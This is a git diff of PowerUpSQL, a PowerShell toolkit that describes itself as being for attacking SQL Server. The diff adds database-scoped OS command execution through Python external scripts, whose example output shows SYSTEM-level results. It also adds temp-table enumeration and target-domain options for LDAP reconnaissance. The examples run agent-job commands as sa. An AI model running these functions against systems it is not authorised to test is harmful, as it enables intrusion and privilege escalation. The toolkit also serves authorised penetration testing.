diff --git a/LICENSE b/LICENSE index 90d7486..44d5389 100644 --- a/LICENSE +++ b/LICENSE @@ -2,7 +2,7 @@ PowerUpSQL is provided under the 3-clause BSD license below. ************************************************************* -Copyright (c) 2019, NetSPI +Copyright (c) 2024, NetSPI All rights reserved. Redistribution and use in source and binary forms, with or without diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 8d76e76..c4f4acd 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -1,9 +1,9 @@ #requires -version 2 <# File: PowerUpSQL.ps1 - Author: Scott Sutherland (@_nullbind), NetSPI - 2019 + Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.104.13 + Version: 1.129 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -179,7 +179,7 @@ Function Get-SQLConnectionObject $AuthenticationType = "Current Windows Credentials" # Set connection string - $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1$AppNameString$EncryptString$TrustCertString$WorkstationString" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString$WorkstationString" } # Set authentcation type - provided windows user @@ -796,7 +796,7 @@ Function Get-SQLQuery } else { - Write-Output -InputObject 'No query provided to Get-SQLQuery function.' + Write-Host -InputObject 'No query provided to Get-SQLQuery function.' Break } } @@ -2003,6 +2003,8 @@ Function Invoke-SQLOSCmdPython SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. + .PARAMETER Database + Database that you have rights to execute commands. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER DAC @@ -2052,6 +2054,23 @@ Function Invoke-SQLOSCmdPython nt authority\system + VERBOSE: Closing the runspace pool + + .EXAMPLE + PS C:\> Invoke-SQLOSCmdPython -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Database trusted_db -Command "whoami" -RawResults + VERBOSE: Creating runspace pool and session states + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Connection Success. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : You are a sysadmin. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Show Advanced Options is disabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled Show Advanced Options. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : External scripts are disabled. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Enabled external scripts. + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Executing command: whoami + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling external scripts + VERBOSE: MSSQLSRV04\SQLSERVER2014 : Disabling Show Advanced Options + + nt authority\system + VERBOSE: Closing the runspace pool #> [CmdletBinding()] @@ -2063,6 +2082,10 @@ Function Invoke-SQLOSCmdPython [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server database to connection to.')] + [string]$Database, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] @@ -2157,6 +2180,12 @@ Function Invoke-SQLOSCmdPython { # Create connection object $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut + } + # Setup database string + if($Database) + { + # Create connection object + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Database $Database -Credential $Credential -TimeOut $TimeOut } else { @@ -2190,6 +2219,12 @@ Function Invoke-SQLOSCmdPython Write-Verbose -Message "$Instance : You are a sysadmin." $IsExternalScriptsEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + } + if($Database) + { + Write-Verbose -Message "$Instance : Executing on $Database" + $IsExternalScriptsEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'external scripts enabled'" -Username $Username -Password $Password -Database $Database -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value + $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Database $Database -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value } else { @@ -2262,8 +2297,13 @@ Function Invoke-SQLOSCmdPython } # Check if the configuration has been change in the run state - $EnabledInRunValue = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name LIKE 'external scripts enabled'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -ExpandProperty value_in_use - if($EnabledInRunValue -eq 0){ + if($IsSysadmin -eq 'Yes'){ + $EnabledInRunValue = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name LIKE 'external scripts enabled'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -ExpandProperty value_in_use + } + if($Database){ + $EnabledInRunValue = Get-SQLQuery -Instance $Instance -Query "SELECT value_in_use FROM master.sys.configurations WHERE name LIKE 'external scripts enabled'" -Username $Username -Password $Password -Database $Database -Credential $Credential -SuppressVerbose | Select-Object -ExpandProperty value_in_use + } + if($EnabledInRunValue -eq 0){ Write-Verbose -Message "$Instance : The 'external scripts enabled' setting is not enabled in runtime." Write-Verbose -Message "$Instance : - The SQL Server service will need to be manually restarted for the change to take effect." Write-Verbose -Message "$Instance : - Not recommended unless you're the DBA." @@ -2287,8 +2327,12 @@ WITH RESULT SETS (([Output] nvarchar(max))) "@ # Execute query - $CmdResults = Get-SQLQuery -Instance $Instance -Query $QueryCmdExecute -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | select Output -ExpandProperty Output - + if($IsSysadmin -eq 'Yes'){ + $CmdResults = Get-SQLQuery -Instance $Instance -Query $QueryCmdExecute -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | select Output -ExpandProperty Output + } + if($Database){ + $CmdResults = Get-SQLQuery -Instance $Instance -Query $QueryCmdExecute -Username $Username -Password $Password -Database $Database -Credential $Credential -SuppressVerbose | select Output -ExpandProperty Output + } # Display results or add to final results table if($RawResults) { @@ -2342,6 +2386,7 @@ WITH RESULT SETS (([Output] nvarchar(max))) } } + # ---------------------------------- # Invoke-SQLOSCmdOle # ---------------------------------- @@ -3111,7 +3156,7 @@ Function Invoke-SQLOSCmdAgentJob ActiveX VBScript/Jscript SubSystem code based on scripts on Microsoft documentation. .EXAMPLE Invoke-SQLOSCmdAgentJob -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'EvilLama!' -SubSystem CmdExec -Command "echo hello > c:\windows\temp\test1.txt" - Invoke-SQLOSCmdAgentJob -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'EvilLama!' -SubSystem PowerShell -Command 'write-output "hello world" | out-file c:\windows\temp\test2.txt' -Sleep 20 + Invoke-SQLOSCmdAgentJob -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'EvilLama!' -SubSystem PowerShell -Command 'Write-Host "hello world" | out-file c:\windows\temp\test2.txt' -Sleep 20 Invoke-SQLOSCmdAgentJob -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'EvilLama!' -SubSystem VBScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test3.txt' Invoke-SQLOSCmdAgentJob -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'EvilLama!' -SubSystem JScript -Command 'c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\test4.txt' .EXAMPLE @@ -3568,7 +3613,7 @@ Function Get-SQLServerInfo END -- Get SQL Server Service Account - DECLARE @ServiceaccountName varchar(250) + DECLARE @ServiceAccountName varchar(250) EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', @SQLServerInstance, N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' @@ -4615,7 +4660,7 @@ Function Get-SQLTable # Setup table filter if($TableName) { - $TableFilter = " where table_name like '%$TableName%'" + $TableFilter = " WHERE t.TableName like '%$TableName%'" } else { @@ -4684,13 +4729,25 @@ Function Get-SQLTable $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - TABLE_CATALOG AS [DatabaseName], - TABLE_SCHEMA AS [SchemaName], - TABLE_NAME as [TableName], - TABLE_TYPE as [TableType] - FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] - $TableFilter - ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" + t.TABLE_CATALOG AS [DatabaseName], + t.TABLE_SCHEMA AS [SchemaName], + t.TABLE_NAME AS [TableName], + CASE + WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE t.TABLE_TYPE + END AS TableType, + s.is_ms_shipped, + s.is_published, + s.is_schema_published, + s.create_date, + s.modify_date AS modified_date + FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] t + JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) + JOIN sys.objects s ON st.object_id = s.object_id + $TableFilter + ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -4707,6 +4764,195 @@ Function Get-SQLTable } } +# ---------------------------------- +# Get-SQLTableTemp +# ---------------------------------- +# Author: Scott Sutherland +Function Get-SQLTableTemp +{ + <# + .SYNOPSIS + Returns table information from target SQL Servers. + .PARAMETER Username + SQL Server or domain account to authenticate with. + .PARAMETER Password + SQL Server or domain account password to authenticate with. + .PARAMETER Credential + SQL Server credential. + .PARAMETER Instance + SQL Server instance to connection to. + .EXAMPLE + PS C:\> Get-SQLTableTemp -Instance SQLServer1\STANDARDDEV2014 + + Table_Name : #B6E36D7A + Column_Name : SnapshotDataId + Column_Type : uniqueidentifier + Table_Type : TableVariable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/14/2024 6:09:48 PM + modify_date : 5/14/2024 6:09:48 PM + + Table_Name : #LocalTempTbl____________________________________________ + _________________________________________________________ + __00000000002D + Column_Name : Testing123 + Column_Type : text + Table_Type : LocalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:37:46 PM + modify_date : 5/15/2024 4:37:46 PM + + Table_Name : ##GlobalTempTbl + Column_Name : Spy_id + Column_Type : int + Table_Type : GlobalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:38:10 PM + modify_date : 5/15/2024 4:38:10 PM + + Table_Name : ##GlobalTempTbl + Column_Name : SpyName + Column_Type : text + Table_Type : GlobalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:38:10 PM + modify_date : 5/15/2024 4:38:10 PM + + Table_Name : ##GlobalTempTbl + Column_Name : RealName + Column_Type : text + Table_Type : GlobalTempTable + is_ms_shipped : False + is_published : False + is_schema_published : False + create_date : 5/15/2024 4:38:10 PM + modify_date : 5/15/2024 4:38:10 PM + .EXAMPLE + PS C:\> Get-SQLInstanceDomain | Get-SQLTableTemp -Verbose + #> + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'Windows credentials.')] + [System.Management.Automation.PSCredential] + [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + + Begin + { + $TblTables = New-Object -TypeName System.Data.DataTable + + # Setup table filter + if($TableName) + { + $TableFilter = " where table_name like '%$TableName%'" + } + else + { + $TableFilter = '' + } + } + + Process + { + # Note: Tables queried by this function can be executed by any login. + + # Parse computer name from the instance + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + + # Default connection to local default instance + if(-not $Instance) + { + $Instance = $env:COMPUTERNAME + } + + # Test connection to instance + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { + $_.Status -eq 'Accessible' + } + if($TestConnection) + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Success." + Write-Verbose -Message "$Instance : Grabbing tables from databases below:" + } + } + else + { + if( -not $SuppressVerbose) + { + Write-Verbose -Message "$Instance : Connection Failed." + } + return + } + + # Define Query + $Query = "SELECT SERVERPROPERTY('MachineName') as Computer_Name, + @@SERVERNAME AS Instance, + 'tempdb' as 'Database_Name', + SCHEMA_NAME(t1.schema_id) AS 'Schema_Name', + t1.name AS 'Table_Name', + CASE + WHEN (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t1.name LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t1.name NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t1.name) - LEN(REPLACE(t1.name,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE NULL + END AS Table_Type, + t2.name AS 'Column_Name', + t3.name AS 'Column_Type', + t1.is_ms_shipped, + t1.is_published, + t1.is_schema_published, + t1.create_date, + t1.modify_date + FROM [tempdb].[sys].[objects] AS t1 + JOIN [tempdb].[sys].[columns] AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID + JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id + WHERE t1.name LIKE '#%'; + " + + # Execute Query + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + + # Append results + $TblTables = $TblTables + $TblResults + } + + End + { + # Return data + $TblTables + } +} + # ---------------------------------- # Get-SQLColumn @@ -4801,7 +5047,7 @@ Function Get-SQLColumn # Setup table filter if($TableName) { - $TableNameFilter = " and TABLE_NAME like '%$TableName%'" + $TableNameFilter = " and t.TABLE_NAME like '%$TableName%'" } else { @@ -4811,7 +5057,7 @@ Function Get-SQLColumn # Setup column filter if($ColumnName) { - $ColumnFilter = " and column_name like '$ColumnName'" + $ColumnFilter = " and c.COLUMN_NAME like '$ColumnName'" } else { @@ -4821,7 +5067,7 @@ Function Get-SQLColumn # Setup column filter if($ColumnNameSearch) { - $ColumnSearchFilter = " and column_name like '%$ColumnNameSearch%'" + $ColumnSearchFilter = " and c.COLUMN_NAME like '%$ColumnNameSearch%'" } else { @@ -4841,11 +5087,11 @@ Function Get-SQLColumn if($i -eq ($Keywords.Count -1)) { - $ColumnSearchFilter = "and column_name like '%$Keyword%'" + $ColumnSearchFilter = "and c.COLUMN_NAME like '%$Keyword%'" } else { - $ColumnSearchFilter = $ColumnSearchFilter + " or column_name like '%$Keyword%'" + $ColumnSearchFilter = $ColumnSearchFilter + " or c.COLUMN_NAME like '%$Keyword%'" } } } @@ -4906,17 +5152,34 @@ Function Get-SQLColumn $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], - TABLE_CATALOG AS [DatabaseName], - TABLE_SCHEMA AS [SchemaName], - TABLE_NAME as [TableName], - COLUMN_NAME as [ColumnName], - DATA_TYPE as [ColumnDataType], - CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength] - FROM [$DbName].[INFORMATION_SCHEMA].[COLUMNS] WHERE 1=1 - $ColumnSearchFilter - $ColumnFilter - $TableNameFilter - ORDER BY TABLE_CATALOG, TABLE_SCHEMA, TABLE_NAME" + t.TABLE_CATALOG AS [DatabaseName], + t.TABLE_SCHEMA AS [SchemaName], + t.TABLE_NAME as [TableName], + CASE + WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable' + WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable' + WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable' + ELSE t.TABLE_TYPE + END AS [TableType], + c.COLUMN_NAME as [ColumnName], + c.DATA_TYPE as [ColumnDataType], + c.CHARACTER_MAXIMUM_LENGTH as [ColumnMaxLength], + st.is_ms_shipped, + st.is_published, + st.is_schema_published, + st.create_date, + st.modify_date AS modified_date + FROM [$DbName].[INFORMATION_SCHEMA].[TABLES] t + JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id) + JOIN sys.objects s ON st.object_id = s.object_id + LEFT JOIN sys.extended_properties ep ON s.object_id = ep.major_id + AND ep.minor_id = 0 + JOIN [$DbName].[INFORMATION_SCHEMA].[COLUMNS] c ON t.TABLE_NAME = c.TABLE_NAME AND t.TABLE_SCHEMA = c.TABLE_SCHEMA + WHERE 1=1 + $ColumnSearchFilter + $ColumnFilter + $TableNameFilter + ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME, c.ORDINAL_POSITION" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose @@ -5514,9 +5777,13 @@ Function Get-SQLDatabaseSchema [string]$SchemaName, [Parameter(Mandatory = $false, - HelpMessage = "Don't select tables from default databases.")] + HelpMessage = "Don't select schemas from default databases.")] [switch]$NoDefaults, + [Parameter(Mandatory = $false, + HelpMessage = "Show database role based schemas. Hidden by default.")] + [switch]$ShowRoleSchemas, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -5530,7 +5797,7 @@ Function Get-SQLDatabaseSchema # Setup schema filter if($SchemaName) { - $SchemaNameFilter = " where schema_name like '%$SchemaName%'" + $SchemaNameFilter = " where s.name like '%$SchemaName%'" } else { @@ -5595,13 +5862,20 @@ Function Get-SQLDatabaseSchema # Define Query $Query = " USE $DbName; SELECT '$ComputerName' as [ComputerName], - '$Instance' as [Instance], - CATALOG_NAME as [DatabaseName], - SCHEMA_NAME as [SchemaName], - SCHEMA_OWNER as [SchemaOwner] - FROM [$DbName].[INFORMATION_SCHEMA].[SCHEMATA] + '$Instance' as [Instance], + DB_NAME() AS [DatabaseName], + s.schema_id AS [SchemaId], + s.name AS [SchemaName], + s.principal_id AS [OwnerId], + USER_NAME(s.principal_id) AS [OwnerName] + FROM + sys.schemas AS s + JOIN + [$DbName].[INFORMATION_SCHEMA].[SCHEMATA] AS i + ON + s.name = i.SCHEMA_NAME $SchemaNameFilter - ORDER BY SCHEMA_NAME" + ORDER BY s.name;" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose @@ -5614,7 +5888,11 @@ Function Get-SQLDatabaseSchema End { # Return data - $TblSchemas + if($ShowRoleSchemas){ + $TblSchemas + }else{ + $TblSchemas | Where SchemaId -lt 1000 + } } } @@ -7472,6 +7750,8 @@ Function Get-SQLDomainUser SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .PARAMETER FilterUser Domain user to filter for. .PARAMETER UserState @@ -7538,6 +7818,11 @@ Function Get-SQLDomainUser [ValidateSet("All","Enabled","Disabled","Locked","PwNeverExpires","PwNotRequired","PreAuthNotRequired","SmartCardRequired","TrustedForDelegation","TrustedToAuthForDelegation","PwStoredRevEnc")] [String]$UserState, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Domain user to filter for.')] @@ -7599,9 +7884,9 @@ Function Get-SQLDomainUser { # Call Get-SQLDomainObject if($UseAdHoc){ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=Person)(objectClass=user)$PwLastSetFilter(SamAccountName=$FilterUser)$UserStateFilter)" -LdapFields "samaccountname,name,admincount,whencreated,whenchanged,adspath" -UseAdHoc + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectCategory=Person)(objectClass=user)$PwLastSetFilter(SamAccountName=$FilterUser)$UserStateFilter)" -LdapFields "samaccountname,name,admincount,whencreated,whenchanged,adspath" -UseAdHoc }else{ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=Person)(objectClass=user)$PwLastSetFilter(SamAccountName=$FilterUser)$UserStateFilter)" -LdapFields "samaccountname,name,admincount,whencreated,whenchanged,adspath" + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectCategory=Person)(objectClass=user)$PwLastSetFilter(SamAccountName=$FilterUser)$UserStateFilter)" -LdapFields "samaccountname,name,admincount,whencreated,whenchanged,adspath" } } @@ -7637,6 +7922,8 @@ Function Get-SQLDomainSubnet SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .EXAMPLE PS C:\> Get-SQLDomainComputer -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc .EXAMPLE @@ -7680,6 +7967,11 @@ Function Get-SQLDomainSubnet HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -7697,7 +7989,12 @@ Function Get-SQLDomainSubnet Process { # Get the domain of the server - $Domain = Get-SQLServerInfo -SuppressVerbose -Instance $Instance -Username $Username -Password $Password | Select-Object DomainName -ExpandProperty DomainName + if($TargetDomain) + { + $Domain = $TargetDomain + }else{ + $Domain = Get-SQLServerInfo -SuppressVerbose -Instance $Instance -Username $Username -Password $Password | Select-Object DomainName -ExpandProperty DomainName + } $DomainDistinguishedName = Get-SQLDomainObject -SuppressVerbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath "$Domain" -LdapFilter "(name=$Domain)" -LdapFields 'distinguishedname' -UseAdHoc | Select-Object distinguishedname -ExpandProperty distinguishedname # Call Get-SQLDomainObject @@ -7740,6 +8037,8 @@ Function Get-SQLDomainSite SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .EXAMPLE PS C:\> Get-SQLDomainComputer -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc .EXAMPLE @@ -7783,6 +8082,11 @@ Function Get-SQLDomainSite HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -7800,7 +8104,12 @@ Function Get-SQLDomainSite Process { # Get the domain of the server - $Domain = Get-SQLServerInfo -SuppressVerbose -Instance $Instance -Username $Username -Password $Password | Select-Object DomainName -ExpandProperty DomainName + if($TargetDomain) + { + $Domain = $TargetDomain + }else{ + $Domain = Get-SQLServerInfo -SuppressVerbose -Instance $Instance -Username $Username -Password $Password | Select-Object DomainName -ExpandProperty DomainName + } $DomainDistinguishedName = Get-SQLDomainObject -SuppressVerbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath "$Domain" -LdapFilter "(name=$Domain)" -LdapFields 'distinguishedname' -UseAdHoc | Select-Object distinguishedname -ExpandProperty distinguishedname # Call Get-SQLDomainObject @@ -7843,6 +8152,8 @@ Function Get-SQLDomainComputer SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .PARAMETER FilterComputer Domain computer to filter for. .EXAMPLE @@ -7893,6 +8204,11 @@ Function Get-SQLDomainComputer HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -7916,9 +8232,9 @@ Function Get-SQLDomainComputer { # Call Get-SQLDomainObject if($UseAdHoc){ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=Computer)(SamAccountName=$FilterComputer))" -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemversion,operatingSystemServicePack,whencreated,whenchanged,adspath' -UseAdHoc + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectCategory=Computer)(SamAccountName=$FilterComputer))" -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemversion,operatingSystemServicePack,whencreated,whenchanged,adspath' -UseAdHoc }else{ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter "(&(objectCategory=Computer)(SamAccountName=$FilterComputer))" -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemversion,operatingSystemServicePack,whencreated,whenchanged,adspath' + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapPath $TargetDomain -LdapFilter "(&(objectCategory=Computer)(SamAccountName=$FilterComputer))" -LdapFields 'samaccountname,dnshostname,operatingsystem,operatingsystemversion,operatingSystemServicePack,whencreated,whenchanged,adspath' } } @@ -7953,6 +8269,8 @@ Function Get-SQLDomainOu SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. + .PARAMETER TargetDomain + Domain to query. .EXAMPLE PS C:\> Get-SQLDomainOu -Instance SQLServer1\STANDARDDEV2014 -Verbose -UseAdHoc .EXAMPLE @@ -7996,6 +8314,11 @@ Function Get-SQLDomainOu HelpMessage = 'Use adhoc connection for executing the query instead of a server link. The link option (default) will create an ADSI server link and use OpenQuery. The AdHoc option will enable adhoc queries, and use OpenRowSet.')] [Switch]$UseAdHoc, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'Domain to query.')] + [string]$TargetDomain, + [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose @@ -8014,9 +8337,9 @@ Function Get-SQLDomainOu { # Call Get-SQLDomainObject if($UseAdHoc){ - Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword -LdapFilter '(objectCategory=organizationalUnit)' -LdapFields 'name,distinguishedname,adspath,instancetype,whencreated,whenchanged' -UseAdHoc + Get-SQLDomainObject -Verbose -Instance $Instance -Username $Username -Password $Password -LinkUsername $LinkUsername -LinkPassword $LinkPassword 